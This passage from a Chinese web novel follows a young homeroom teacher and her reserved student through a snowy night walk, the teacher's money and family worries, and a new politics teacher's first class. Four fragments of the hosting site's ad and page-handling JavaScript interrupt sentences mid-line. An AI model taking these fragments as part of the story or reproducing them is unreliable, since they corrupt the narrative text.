想到这点,顾婉君心里闷闷的,可为了不让这种情绪影响到陈璐,她很快就调整好了情绪。 伴随着一口白汽呵出,顾婉君温柔的声音里带着几分关切: “啊,好冷啊,时间不早了,你快回家吧。” “老师,你用手电筒吗?” “嗯?” 寒风呼啸,顾婉君耳朵包在围巾里,没听清陈璐说什么,直到看见对方拉开冬季校服拉群、从内侧口袋里掏出一个小型手电筒,顾婉君才明白陈璐的意思。 “不用了,你们小区灯光看着挺暗的,你自己拿着用吧,我过个道就到了。” 顾婉君边说边下意识回头看了一眼街对面自己住的小区一眼,她心想灯光条件再差应该也就和眼前这所小区差不多吧。 结果就是这么一眼,看得顾婉君表情凝固,瞬间浑身起栗。 街对面自己住的那所小区,别说昏暗的灯光了,小区院里连个亮都没有,一眼望过去,除了黑暗就是黑暗,其他什么也看不到,小区院门口垃圾桶堆得满满登登,塑料袋被夜风吹得张牙舞爪,哗哗作响,那声音任谁听了都得打怵。 顾婉君心直接凉了半截。 这是她当了班任之后第一次这个点回小区,确实是缺少深夜回家必备手电筒的经验。 可话又说回来,这小区院里怎么能这么黑?难道一盏灯都没有吗? …… 另一边,看着顾婉君眼里罕见地完全没了笑意,陈璐睫毛轻颤,似乎明白了什么,她主动解释着: “老师你住的那所小区院里之前是有两盏路灯的,结果上个月有几个人喝多了打架,把路灯打坏了,看样子是还没有人来修。” “……啊,这样啊……”顾婉君下意识咽了咽口水。 她是最怕黑的,不过在比自己小、比自己更容易害怕的女学生面前,我们顾老师还是硬着头皮挤出了一丝笑容: “没关系,我用手机手电筒照一下就好了。” “可是老师——” “行,时间不早了,你快回家吧,注意安全。” 生怕下一秒自己的表情就绷不住了,顾婉君打断陈璐的话,匆忙道别。 …… 街对面,小区门口。 视线所及之处,皆是一片漆黑。 飞舞的雪花成片成片地划过顾婉君的脸颊,寒风贴着耳朵哀嚎尖叫,与脚下踩雪的咯吱咯吱声音频共振,成为了顾婉君所能听见的唯一声音来源,哪怕她已经打开了手机手电筒,可微弱的光亮就像被寒风吞噬了般,根本不起作用。 不害怕,不害怕,没事的,没事的…… 靠近小区门口的这几步路,顾婉君一直在心里给自己打气,她早上走得急没戴手套,举着手机的手早就冻得通红颤抖。 进小区之后没几步路就到家了,不害怕,不害怕…… 顾婉君反复在心里默念着。 北京时间晚上十一点四十。 站在如深渊一般、漆黑一片的小区门口,顾婉君停下脚步,表情为难。 虽说顾婉君是党员,是坚定的唯物主义者,可每当面对这种伸手不见五指的黑暗时,她都避免不了胡思乱想些什么。 要怪就怪她思维太活跃,要怪就怪她白天看了陈璐写得那篇名叫《囚笼》的小说,此情此景,不就跟小说里的女主被杀的时候没什么两样吗? …… 来回跺地的双脚已经快冻僵了,别无选择的顾婉君眼睛一闭心一横,打算一会直接一路跑回家。 对,就这么干。 顾婉君在心里肯定自己的想法,正当她要拔腿就跑时,一束明亮的灯光突然划破眼前的漆黑,且那束光自她身后越来越近,越来越亮。 顺着光源方向回头一看,顾婉君心头一震,拿着手电筒来解救她的那个人,不是陈璐还有谁。 …… 陈璐一路小跑到顾婉君跟前,暴露在空气下的耳朵早已经被冻红,视线交汇,顾婉君还没反应过来,陈璐就已经先一步开口: “快十二点了,小区里没灯不安全,老师,你用我的手电筒吧。” 陈璐边说边把手电筒递过去,明亮的光柱扫去大片黑暗。 对于这个举动,说不感动是假的,可考虑到陈璐的人身安全,顾婉君看了一眼手电筒,没有收,“不用了,我进小区之后没几步路就到——啊!” 突如其来的一声尖叫把寒风呼啸的夜晚撕开了个口子,一只两眼冒绿光的野猫不知突然从哪儿窜出来了,吓了顾婉君一跳,慌乱中她下意识闭上眼睛,死死抓住身旁人的胳膊! …… 熟悉的白茶香气突然贴近,或许被寒风冲淡些许,却还是让不习惯亲密动作的陈璐乱了心跳,她感觉自己整个人都僵住了! 尽管在不知道发生了什么和自己并不习惯亲密动作的情况下,陈璐还是下意识动作麻利地把顾婉君护在身后,目光警惕地扫视着四周。 在看见距离两人不远处的那只眼睛冒绿光的野猫时,陈璐才敢垂眸松一口气。 她一边熟练地从校服裤子口袋里拿出一个小塑料袋、从里面倒出一小把猫粮,一边庆轻声安抚顾婉君: “没事老师,只是一只猫。” 陈璐这话本意是想说一只猫而已,没什么好怕的。 结果话音一落,攥着她胳膊的那只手颤抖得更厉害了,顾婉君闭着眼睛,说话的声音明显带着颤儿: “我知道是猫……我小时候 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被猫抓伤过,所以害怕……” “……” 看着因为害怕到不敢睁眼的顾婉君,陈璐愣了一下,心里为数不多地感受到了无措和着急。 除了温柔包容的初印象,她还是第一次看这个新班任如此脆弱的一面。 …… 当下没时间思考别的,意识到顾婉君是真的害怕,陈璐下意识放轻语气,尽力安抚:“没关系,小区附近这些猫不主动攻击人,它吃饱了就会走了。” “……” 听到陈璐这样说,缓了几秒后,顾婉君才敢慢慢睁开眼睛。 寒风裹挟着霜雪,吹得人脸生疼。 睁开眼睛之后,顾婉君看见陈璐手里不知从哪变出了一小捧猫粮,女孩将猫粮撒在地上,之后拉着她走远了一些,没一会,那只蓝绿眼睛的小猫就走到猫粮旁边,低头吃了起来。 “你这是……” 顾婉君欲言又止,她看了看那只吓她一跳的小猫,又偏头看了看陈璐,脸上浮现出几分疑惑和不解,因为害怕,她攥着陈璐胳膊的手始终没有松开。 “小区附近经常有流浪猫半夜出来觅食,每次看见它们我都会喂一下,刚才我就想跟你说别被它们吓到。”陈璐这样解释着。 “这样啊……吓死我了,我很害怕猫,还好有你在。” 顾婉君松了口气,心里话就这么无意识地说出来了。 说者或许无心,但听者绝对有意。 一句“还好有你在”落在陈璐耳畔,却也烫在陈璐心里,她觉得自己被顾婉君双手抓住的那条胳膊已经快不过血了,可对方却好像没有要放手的意思。 …… “老师。”陈璐眨眨眼睛。 “嗯?” “那个,我胳膊有点麻了……”陈璐动了动自己被抓住的胳膊。 话音一落,顾婉君怔了一下,她这才刚反应过来自己刚才一系列的行为和表现。 等会,她刚才是害怕到让自己的学生来保护自己了吗? 那张如瓷如玉温婉优雅的脸以肉眼可见的速度迅速红温起来,顾婉君立马松开手后退半步,恨不得找个地缝儿钻进去! “不好意思啊,刚才那种情况明明应该是老师保护你的,结果还让你保护我安抚我……” 说这话时,顾婉君甚至不敢和陈璐对视,如果不是有木兰红围巾围在脖颈上,那此刻女孩一定能发觉她爆红的脸。 “那个……你胳膊没事吧?”尴尬之际,顾婉君开始没话找话。 “没事,就是麻了,活动活动就好了。”陈璐实话实说。 “啊……没事就好,没事就好。”顾婉君咬了咬微凉的嘴唇,关切道:“快十二点了,你——” “老师,雪越下越大了,你拿着手电筒快回家吧。” “不行,那你——” “我还有一个备用手电筒,放心。” 话音一落,没等顾婉君反应过来,陈璐直接把手电筒塞进了眼前人手里,之后头也不回地冲进风雪里。 被塞进手里的手电筒还留有女孩的体温,顾婉君握紧了些,她在原地站了好一会,直到风雪彻底模糊掉陈璐的背影,顾婉君才收回视线,转身进小区。 …… 9. 9 进单元门之后,使劲一跺脚,楼道里上了年头的声控灯就亮了起来。 顾婉君第一时间关掉手电筒,揣进棉服口袋,之后一边上楼一边抖落身上的雪花。 顾婉君住在五楼,走到三楼楼梯口时,她停下脚步,竖起耳朵仔细听楼上的动静。 401没人住,402住着一个每天都喝得醉醺醺的中年壮汉。 顾婉君之前遇到那醉汉好几次,这种老旧小区大半夜的根本找不到物业安保,顾婉君不想惹麻烦。 听着四楼没什么声音,顾婉君屏息凝神,放轻脚步,心惊胆战地一口气跑上了楼梯。 …… 五楼。 迈上最后一节台阶时,顾婉君摘下围巾,总算敢喘口气,她一边想着自己是不是应该考虑换个房子了,一边朝502走去。 502门口。 顾婉君跺了跺脚,声控灯亮了,她掏出钥匙准备对准锁眼开门,结果下一秒看见自家家门上贴着两张小纸条。 顾婉君仔细看了两眼,发现是催缴房租的通知条。 又到交房租的日子了啊。 顾婉君抿唇叹了口气,她撕下那两张催缴纸条,开锁进家门。 …… 说是家,其实不过就是一间一室一厅、性价比较高的出租房。 房间布置简洁明了,屋内的各种物品都被顾婉君收拾得井井有条,干净整洁。 卧室里有一张简单的木制床铺和一个配套的床头柜,床铺整洁干净,床头柜上整齐摆放着各类书籍读物,柜子前还有一张简单的书桌,那是顾婉君自己买的,上面摆着一盏小巧的台灯、一台电脑以及一些没备完课的教辅材料。 客厅里,窗户被擦得干净明亮,可以清晰地看到外面的景色,窗台上摆放了两盆绿植,给房间增添了几分生机和活力,靠墙还有一张沙发,是原房东打算不要的,顾婉君买了一个米白色的沙发罩罩上,留下自己用了。 一进家门,挂好外套和围巾,换好拖鞋,顾婉君直接把自己扔在客厅靠墙的沙发上。 不放松还好,一卸下劲儿来,她觉得她连弯一下手指的力气都快没有了。 高中班主任这活儿还真是不好干啊。 想起早上卖早餐的大姐给自己的忠告,顾婉君长叹一口气,抬手想揉揉太阳穴,结果捏在手里的催缴纸条黏在了她的指尖上。 看着上面的数字,顾婉君今晚不知叹了多少回气了。 顾婉君是今年刚来宁城一中任职的,目前还没有正式编制,一个月只有两千八百块钱固定工资。 本来这点钱就只够勉强度日,结果这个月被调到高二学年之后,她还花了将近两千块钱给原来教的高一那个班级的同学每人买了一些学习用品和书籍当做纪念礼物。 现在又要交下个季度的房租了,她还想着要不要换个房子住,毕竟这儿离学校太远了,要是重新租房的话,她手里仅有的存款也不知道够不够用…… 所有事都搅在一起了,正当顾婉君为了房租的事犹豫不决感到头疼时,对门501方向又好巧不巧地传来夫妻吵架以及摔东西的声音,这个自搬来之后每晚必不可少的环节让顾婉君瞬间坚定了换房子的想法。 这房子是非换不可了,再在这住一段时间,她不被起早贪黑赶公交累死,恐怕也逃不掉神经衰弱。 可是…… 想到陈璐就住在隔壁小区,顾婉君又多了几分顾虑。 作为老师,顾婉君不仅重视自己每一位学生的学习,还关注每个人的生活问题,像陈璐这样懂事令人心疼的孩子,她是一定要管的。 可是该怎么管呢?继续在这所小区住、然后每天和陈璐顺路坐车吗? 顾婉君不认为这个方法能为两人提供实质性的帮助。 思前想后好久,顾婉君决定还是自己先着手找房子,如果找到那种价格可以接受、位置又离学校不是那么远的,她就拿着房源去问陈璐的意见,如果陈璐接受,那先解决对方住的问题也是好的。 嗯,就这么办。 决定之后,顾婉君拖着疲惫的身体,起身来到门口衣架旁,从口袋里掏出手机,准备先上找房软件上看看有没有房源。 结果解锁手机一看,屏幕上挤满了来自父母的三十多条语音消息,之前手机调静音了没听见。 顾婉君揉了揉额角,都不用点开听,她知道父母的语音内容无非就是劝她回云江市。 来宁城一中的几个月里,顾婉君已经听了太多这样的语音了。 半夜十二点了,家里没有现成饭,顾婉君从橱柜里拿了一个面包外加一瓶牛奶,就算作今天的晚餐了。 在沙发上坐下后,顾婉君一边啃面包,一边把父母发来的消息标为已读,之后往下滑,才发现姐姐顾婉容也给她发了消息。 顾婉容,比顾婉君大6岁,硕士毕业之后在云江市知名三甲医院急诊科工作至今。 顾婉君的父母年轻时都是老师,忙起来完全顾不上两个女儿,小时候都是姐姐顾婉容照顾妹妹顾婉君,姐妹俩感情一直很好,可以说顾婉君算是姐姐带大的。 …… 点开和姐姐顾婉容的聊天界面,消息来自二十分钟前。 姐姐:【我刚结束一台手术,正准备回家,你姐夫今晚在警察局值班,一会顺路来接我。】 姐姐:【妈今天给我打电话了,他们说了什么你不要放在心上,他们当了一辈子老师,知道这个职业有多辛苦,他们是怕你在小县城过得不好。】 姐姐:【对了,听说你当班主任了,高中班主任很辛苦,你一定要注意身体。】 姐姐:【下午的时候,我往你银行卡里打了五万块钱,你拿着用,不收的话姐会生气的。】 姐姐:【出门在外,到处都要用钱,这笔钱就当姐小小地支持一下你的教育事业,放心,爸妈不知道。】 姐姐:【不管怎么样,身体最重要,有什么事随时和我联系。】 …… 看着姐姐顾婉容发来的消息,顾婉君鼻子发酸,抬手捂住发热的眼眶。 从小到大,姐姐是最疼自己的,在自己决定投身于偏远县城的教育事业时,姐姐顾婉容也是唯一一个尊重她决定的人。 这笔钱顾婉君不白拿,等以后有机会一定要还给姐姐。 …… 简单解决完晚饭之后,顾婉君洗漱上床。 临睡觉之前,她点开了今天刚加入的高二(12)班的家长群。 从十点下晚自习到现在,群里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家长发起‘孩子已安全到家’的群接龙。 大约二十分钟前,陈璐成为最后一个接龙的人。 看着发送最后一条接龙的纯蓝背景的头像,顾婉君眉心微蹙,她不由得想起叶真中显的社会派小说《Blue》。 没准备好做父母的、不具有爱与被爱能力的人就不要生孩子。 陈璐会是这个意思吗。 想起书里的种种内容,顾婉君心情复杂,过了好一会,她点击发送了好友申请。 —— 半个小时前。 幽暗昏黄的灯光下,陈璐顶着风雪进入单元门。 说是有备用手电筒,其实只是为了让顾婉君心安。 况且,陈璐早就习惯一个人走夜路了。 …… 三楼,302。 这是13岁之前的陈璐和姥姥一起住过的地方。 进门之后,陈璐换上拖鞋,冬季校服都没来脱就径直走向侧卧。 推开门,打开灯,一张老式的木制床映入眼帘,上面铺着一张薄薄的棉被和一床旧毯子,虽然时很多年前的旧样式,但洗得很干净。 房间的墙壁上布满了岁月的痕迹,依稀可见有些地方已经发黄,有些地方则已经剥落。 墙上正中央挂着一张老妇人的黑白照片,老妇人脸上挂着微笑,眼神里一如生前那般透着慈祥和关爱。 挺得直直的肩背松下一些力气,陈璐靠着门框,定定地看着墙上的照片,向来平静的语气里多了几分许久未见的乖巧: “姥姥,我放学回来了。” 窗外,寒风呼呼作响,房间内却是一片死寂,没有任何声音能回答陈璐的话。 回到客厅桌前,陈璐在家长群里完成到家接龙,之后脱下冬季校服,从口袋里掏出文综卷子准备做作业。 文综卷掏出来那一刻,夹在卷子里的一片单独包装的湿巾掉了出来。 是在公交车上顾婉君递给她擦鞋用的。 陈璐捡起湿巾,回想起今天发生的一切,她把文综卷子暂时放到一边,从桌下的抽屉里拿出一本棕色牛皮笔记本。 这是她小升初的时候姥姥送她的升学礼物。 陈璐在桌前的椅子上坐下,翻开笔记本,她翻到新的一页,笔迹娟秀地写道—— 【2017年12月12日星期二中雪】 【班里换了新的语文老师,也是我们的新班任。】 【新班任是个温柔有耐心的人,读过很多书,对很多事情都有自己的见解,很招学生喜欢。】 【她叫顾婉君。】 【……】 …… 写完日记,陈璐把日记本放回抽屉里,之后把手机调静音,开始写文综卷子。 北京时间后半夜一点半。 终于写完了剩下的政治和历史大题。 陈璐活动了一下有些发僵的脖子和手腕,拿起手机看了一眼时间,结果发现微信页面上停留着一条好友申请。 …… 老式小区供暖不太好,睡到半夜,床上的人下意识用被子把自己从头到脚包得紧紧的。 睡梦中,顾婉君翻了个身,与此同时,放在床头柜上的手机屏幕亮了一下,显示好友申请已通过。 10. 10 第二天。 又是天没亮就要早起赶车的一天。 昨晚下车的站牌前。 陈璐来的时候,少得可怜的路灯还没亮,四周只剩下漆黑和寒冷。 两分钟后,街对面出现一束熟悉的光柱。 伴随着一阵匆忙靠近的脚步声,没一会,陈璐和刚赶到站牌前的顾婉君打了个照面。 熟悉的白茶香味萦绕鼻尖儿,借着手电筒的光亮,陈璐看见昨天围在顾婉君脖子上的木兰红纯色围巾换成了灰蓝色格子围巾。 与昨天一身白色穿搭不同,顾婉君今天是棕色系的美拉德风格。 两人照常打了个招呼,顾婉君为昨晚的手电筒道谢。 “你的手电筒昨晚帮了大忙了,谢谢你啊。” “没事。” “我今天会想着去买一个,这个还给你吧。” “在买新的之前,老师你就用这个吧,我这有备用的。” “是吗?那怎么没见你用呢?”看着双手揣进校服口袋的陈璐,顾婉君真诚发问。 “嗯……有点冻手,所以没拿出来。” 说这句话时,陈璐差点没咬了舌头。 果然,人还是不能说谎。 …… 冻手为什么不戴手套呢? 顾婉君刚想这么问,好在按时出现的公交车救了陈璐。 眼见车来了,话题暂时中断,顾婉君只得暂时收起手电筒。 今天公交车上人也不少。 不过好在陈璐和顾婉君这次运气好,站了两站之后就有了座位。 还是昨晚那个连排双人座。 陈璐又是抢在顾婉君前面坐在了靠过道的位置。 由于晚睡早起缺觉严重的缘故,坐下之后,两人没有多说什么,而是在公交车的摇晃中各自闭眼补觉,以备开启今天一整天的学习和工作。 公交车拐进新一条街道时,闭眼补觉的顾婉君额头倏地撞上车窗玻璃,愣是疼醒了,她倒吸一口凉气,捂着额角,第一时间看向旁边座位。 车窗外有路过的车灯晃过,陈璐闭着眼睛、环臂抱胸呈防御姿态靠着座位,歪向过道的头随着公交车微微摇晃,浓密长睫下若有若无的乌青大概是所有高中生的具体写照。 看着这样瘦削疲惫的陈璐,顾婉君抿抿唇,忍不住一阵心疼,她伸手轻轻地扶着女孩的头靠在自己的肩膀上,之后闭上了眼睛。 …… —— 宁城一中校门口。 公交车到站,一个急刹车直接把陈璐晃醒了。 脸颊渐渐感受到绵软毛绒的触感,发现自己好像靠在了顾婉君的肩膀上,陈璐瞬间瞳孔地震,立马弹起来坐直身体! 陈璐晃了晃脑袋,睡意全无,她刚偏过头去想跟顾婉君道歉,结果耳畔就传来那人温柔亲切的声音: “到学校了,要下车了,你没出汗吧?” “……” 四目相对,顾婉君那双漂亮的桃花眸似乎藏着能融化一切寒冷的温暖。 陈璐眨眨眼睛,愣愣地憋出了一句没有。 “没出汗还好,这大冬天,你只戴个口罩管什么用啊,感冒了怎么办?” “……嗯。” 陈璐简单应了一声,面对这样的关心,她不知道怎么回答。 好在公交车后门开启,车上人陆续下车,两人的对话不得不终止。 从座位上起身时,隔着薄薄一层的黑色口罩,陈璐摸了摸自己不知什么时候开始发热的脸颊。 …… 东北的冬天果然名不虚传,一下车,又硬又干的冷风犹如道道鞭子往人身上抽。 顾婉君下意识把脸往围巾里埋了埋,她准备和往常一样去校门口的早餐车那儿买早餐。 在去之前,顾婉君转头问后下车的陈璐要不要吃点什么,陈璐却说她吃过了。 起这么早有时间吃早饭吗? 顾婉君在心里画了个问号,却又不好追问。 卖早餐的大姐依旧动作麻利,接过装好的早餐,只是一个付钱的功夫,顾婉君一转头,原本还在她身后的陈璐直接不见了踪影。 …… —— 高二(12)班。 一进班级,陈璐就看见在班级后排收政治作业的傅一雯,那张长着小雀斑的小圆脸一改往日的嘻嘻哈哈,此刻压根没有一点笑模样。 显然,傅一雯是在为今天新政治老师就来了的事不高兴。 两人打了声招呼,陈璐回到座位。 …… 6:30,早自习铃打响。 顾婉君准时来到班级。 不知是不是陈璐的错觉,她总觉得顾婉君的脸色好像比在公交车上白了许多。 仔细观察了十几秒后后,陈璐发现顾婉君好像时不时地在揉自己的小腹。 是身体不舒服吗? …… 清空桌面,准备开始听写各科小条时,广播通知高二学年各班班主任开会。 去开会之前,顾婉君交待班长李文琪上讲台上看着考小条,各科小条考完收上来之后,暂时放在各科课代表手里,下课之后送到各科办公室。 由于语文课代表秦浩阳早自习请假,顾婉君特意嘱咐一会默写完的语文小条收上来先交到陈璐那儿,如果早自习结束自己还没开完会,陈璐就把小条送到语文办公室。 话音一落,顾婉君视线投向靠窗第三排位置,和陈璐对了个眼神,之后拿着开会用的笔记本离开了班级。 …… 虽然班任顾婉君不在班,但教室后面的监控一直咯咯吱吱的转个不停,一听就是有人在查监控。 在这种情况下,12班的早自习不得不在安静中度过。 各科小条按顺序考完,直到最后一科语文小条交到陈璐手里,下早自习铃打响,顾婉君依旧没回来。 学生们从座位上起身活动,该上厕所的上厕所,该去走廊吃早饭的吃早饭。 陈璐回头看了一眼后排语文课代表秦浩阳的座位,那人还没来。 …… “走啊璐璐,去办公室送小条吧。” 座位后,傅一雯拍了拍陈璐的肩膀。 文综办公室和语文办公室都在4楼,刚好顺路。 …… 走到3楼时,数学课代表江蓁蓁去了书记室给王振德送数学作业和小条。 4楼。 迈上最后一节阶梯后,抱着政治卷子的傅一雯挤眉弄眼地长叹一口气,顶着一副视死如归的表情进了文综办公室。 而另一边,陈璐拿着语文小条敲响了语文办公室的门。 办公室里只有几位刚来的、第一节有课的语文科任老师。 那个经常开陈璐玩笑的李冰老师也在其中。 “呦,小美女课代表来了啊。” 调侃的话术没有变,陈璐早就习以为常了,她捏了捏手里的语文小条,礼貌问好:“老师好。” 或许是以为陈璐找顾婉君有事,李冰笑笑,她一边往水杯里倒咖啡粉,一边热心肠地解释着: “你们班任开会去了,估计快回来了,你有事的话在这等会儿吧。” “我没事,我就来送个小条。”陈璐实话实说。 “呀,你又继续当课代表啦?”比起惊讶,李冰脸上更多的是开心。 “不是,我们班语文课代表早自习请假了,所以班任才让我把小条送上来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “奥,这样啊。”李冰撇撇嘴角,一脸惋惜: “害,你不当课代表实在太可惜了,昨天下午我们几个老师聊天的时候还说到你呢,你们顾老师本来还特别期待你能给她当课代表呢。” “……” 这话昨天顾婉君本人说过一次,陈璐实在是不知道该怎么接。 似乎是察觉到了一丝尴尬,李冰盖上水杯的盖子,使劲摇晃,随即转移了话题: “但你们顾老师也说了,她说你身体不好,你们现阶段身体和学习比什么都重要,课代表这玩意当不当的都是小事,好了,跟你唠叨这么多,我第一节有课,上课去了。” “嗯,老师再见。” “回见。” 李冰拿着上课要用的东西准备下楼,结果还没走到门口门就开了,正好碰上了开会回来走到门口的顾婉君和杨金凤,几人的聊天声清楚地传进办公室—— 杨金凤:“你这种情况不是凉着就是抻着了,我有抽屉里有电热宝,你用不用?” 顾婉君:“不用了金凤姐,我第一节有1班的课,带着不方便,一会上完课之后喝点热水就好了。” 李冰插话:“咋了婉君,特殊情况吗?” 顾婉君:“嗯,没事,你快忙去吧。” 李冰:“行,你注意点哈,我第一节课有课,得先下去写一下板书,走了啊,金凤姐。” 杨金凤:“去吧,哎呀,每个月特殊情况的时候上课是真折磨人啊,你——哎,陈璐?” 对话戛然而止,先进办公室的是杨金凤,看见站在顾婉君办公桌旁的陈璐,她一脸惊喜,立马回头对刚进门的顾婉君说: “哎,婉君啊,正好正好,你班那小课代表在这呢,让她帮你先把教材扩音器保温杯啥的拿到1班去吧。” “……” 作为资深班任,杨金凤从白到黑的在班级里坐班,所以对于语文办公室里发生的事情不太清楚。 其中就包括陈璐已经不是语文课代表这件事。 杨金凤压根就不知道。 …… 眼见陈璐站在自己办公桌旁,顾婉君下意识把揉后腰的手放下,唇边露出那抹熟悉的微笑,俨然一副无事发生的模样。 而这个小动作却被陈璐看在眼里,她把手里的语文小条放在办公桌上,主动开口: “老师,语文小条都收齐了。” “好。” “老师,我帮你把一会上课要用的东西送到1班吧。” “不用了,没多少东西,我自己拿就行,你回班吧,快上课了。”顾婉君以快上课的为由婉拒。 她知道杨金凤那些话是出自好心,而作为学生的陈璐又不好意思拒绝,所以她才要婉拒陈璐,这样两人都不会感到尴尬或为难。 然而陈璐却好像没听懂她的暗示似的,那人站在原地没有动,那双乌黑明亮的月牙眼就那么定定地看着她看,表情真挚: “还是我来拿吧,老师要拿些什么呢?” “……” …… 把一会上课要用的东西交给陈璐拿着之后,顾婉君看了一眼时间,她本来想跟对方一起下楼,结果陈璐却说自己先下去把东西送到1班,之后就步履匆匆地离开了办公室。 陈璐前脚离开,顾婉君跟办公室其他老师打了声招呼,之后几乎后脚就出了办公室的门。 前后不过几秒钟的时间,可顾婉君从办公室出来时,就只瞟见一个纤瘦的背影嗖地一下消失在走廊尽头的楼梯拐角处。 回想起买早餐时一回头也不见陈璐的身影,顾婉君眼里闪过一抹困惑和无奈。 这孩子跑那么快干嘛,难道是因为不想跟她独处吗? 11. 11 高二(1)班位于二楼最西边的教室。 走到三楼的时候,顾婉君碰上了12班的英语老师蒋文。 由于第一节都有课,两人只是闲聊了几句最近学生的学习状态,之后就各自去往各自任教的班级了。 二楼楼梯拐角。 刚下楼的顾婉君跟从楼下跑上来的某个女同学撞了个满怀,顾婉君被吓了一跳,却还是第一时间扶住对方。 “没事吧?” 话刚说出口,在看清眼前呼吸急促的同学是陈璐时,顾婉君愣了一下,惊讶和不解都写在了脸上。 这孩子怎么是从楼下跑上来的?她手里的东西呢?难不成是回班了一趟又上来的? 没等顾婉君开口询问,第一节课上课铃到点打响。 顾不上自己急促沉重的呼吸声,陈璐往下拉了拉秋季校服拉锁,从校服里掏出来两个新的热帖,递给顾婉君:“老师,你要贴吗?” “……” 一系列动作看得顾婉君一惊又一惊,看着递到自己面前的两张热帖,她顿时明白了陈璐为什么是从楼下跑上来的。 这孩子跑下跑上的就是为了给自己送热帖。 一股暖流淌过心头,说不感动是假的,可眼看着上课铃就要打完了,顾婉君根本没时间说别的,她接过热帖,说了声谢谢,之后让陈璐赶紧回班,别耽误上课。 …… 高二(1)班。 进班级后,顾婉君径直走向讲台,讲台上放着她讲课要用的东西,应该是陈璐刚才送过来的。 刚贴上的热帖还没发热,上课铃也还没打完,顾婉君打算先翻开书看一下一会要讲的内容。 然而当她挪了一下旁边的保温杯时,发现自己的水杯里灌满了水,而且是热水。 是陈璐帮她接的热水吗? 虽然心里已经有了答案,可顾婉君还是问了一下坐在第一排靠近讲台的同学。 好几个同学都说,除了来送东西的那个女同学之外,没有别人碰过顾婉君的东西。 原来刚才陈璐跑那么快是为了这个。 看来这孩子好像不讨厌和自己相处。 贴在小腹和后腰上的两张热帖渐渐开始发热,顾婉君弯了弯唇角,突然觉得自己好像没那么难受了。 —— 另一边,高二(12)班。 第一节是政治课,也是新政治老师来12班的第一堂课,想想都知道最好还是不要迟到。 陈璐一路狂奔到一楼,结果在班级后门跟从另一边楼梯下来的傅一雯撞了个正着。 不用说,这人是从文综办公室回来的。 从4楼狂奔到1楼,这对身材微胖且常年不锻炼的傅一雯来说是个巨大的运动量。 趁着老师还没来、上课铃还没打完的功夫,傅一雯站在后门门口,弯腰双手扶着膝盖,大口喘气: “欸?璐璐,你,你也刚回来啊?” “……” 想起刚才发生的事,陈璐眼神躲避,不答反问: “第一节课不是政治课吗,怎么就你自己啊?新政治老师呢?” “新政治老师?” 累得够呛的傅一雯没有注意到陈璐飘忽的眼神,她直了直腰,捂着跑岔气的肚子,一副不当回事的语气: “我怎么知道她上哪儿了啊?我连她面儿都没见着。” “你不是刚从文综办公室回来吗?” “是啊,可我刚才是去帮我的孙老师去印刷室取印好的卷子去了,谁知道那个新老师咋回事啊。” “……” 似乎是想到了什么,长着小雀斑的鼻子皱了皱,傅一雯扶着墙吐槽道: “对了,还没跟你说呢,刚才我去印刷室取卷子的时候,隔着书架子闻到一股子老浓的香水味儿了,熏得我鼻炎都快犯了,要不是怕耽误孙老师的事,我非得看看到底是谁——” “上课铃已经打完了,你俩怎么的,要在门口唠十块钱的?” “!!!” 一道陌生女声自班级前门方向传来,还在闲聊的两人顿时被吓了一大跳! 闻声望去,一个一身黑色高领针织连衣裙、曲线玲珑的年轻女人不知什么时候站在了12班前门门口。 女人手里捧着一大摞卷子,一张眉骨深邃棱角分明的脸极具冲击性的美,她倚着门板,就那么似笑非笑地看着后门门口嘀嘀咕咕的两人。 这人应该就是新来的政治老师。 意识到这一点,陈璐表情还算镇定,而傅一雯被吓得直接失去了表情管理! 不是,这新老师是什么时候来的啊?! …… 在新政治老师的注视下,后门闲聊二人组灰溜溜地回到座位上。 陈璐刚一坐下,一股好闻的木质花香调就飘了过来,抬头一看,新政治老师已经站在了讲台上。 “我靠,就是这个味儿!” 后座传来傅一雯语气震惊到家的小声嘟囔。 结合刚才在后门傅一雯说的印刷室的小插曲,陈璐愣了一下,心想还真是巧合年年都有,今年特别多。 与此同时,讲台上,新政治老师把手里的卷子放下,挽了挽袖子,从粉笔盒里掰断一截粉笔,在黑板上铿锵有力地写下自己的名字——唐瑛。 “我叫唐瑛,从今天起教你们班政治。” 与新班任顾婉君不同,新政治老师唐瑛的开场白简单直接,语气十分干脆:< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“之前孙老师怎么要求你们我不知道,但我的要求是考试别抄袭,平常别抄作业,会就写,不会就蒙着写,没写就是没写,别跟我撒谎打马虎眼,只要这几条不犯,别的都好说,你可以学习不好,但不能人品不行,我今天提前跟你们打声招呼,要是让我抓着你抄袭撒谎,到时候别怪我翻脸。” 唐瑛把粉笔扔进粉笔盒,双手撑着讲台,进入正题: “行了,多余的话我就不说了,这是下一节的导学案,也是今天的家庭作业之一,课间课代表发下去,对了,咱班课代表是谁?” “……” 话音一落,在全班同学不约而同的注视下,揉着鼻子傅一雯慢腾腾地举起了手。 还真是冤家路窄,这新老师是从香炉里倒出来的吗!? 傅一雯一阵腹诽。 …… 视线相接,细长的丹凤眸半眯了一下,唐瑛从上到下打量了一眼举着手的傅一雯,之后低头扯扯嘴角,语气听起来莫名有些冷飕飕: “是你啊,怪不得看你总往文综办公室跑,就差没住在孙老师的办公位上了。” “……” 新官上任三把火,唐瑛的毒舌属性初步显现。 在其他同学看来,唐瑛这句意味不明的话大概是在树立新老师的威信。 可本来就不喜欢新老师的傅一雯哪还有心思去替唐瑛考虑? 服了,这新老师在阴阳怪气些什么!根本比不上她的孙老师一点儿! 傅一雯心里的不满快要溢出来了,但她也不敢表现得太明显,毕竟为了之后能多多见到她的孙老师,这个政治课代表她还得干下去。 …… 小组讨论政治导学案时,陈璐听傅一雯吐槽新政治老师唐瑛听得耳朵都快起茧子了。 “说话阴阳怪气的,听着让人生气,我去找孙老师怎么了,关她什么事啊!?” “这课讲得啥啊,照孙老师讲得差远了!” “服了,我点儿怎么这么背啊!这老师是泡香水缸里了吗?熏死了!” “……” 傅一雯使劲吸了吸鼻子,用导学案挡住满是怨气的脸,小声吐槽。 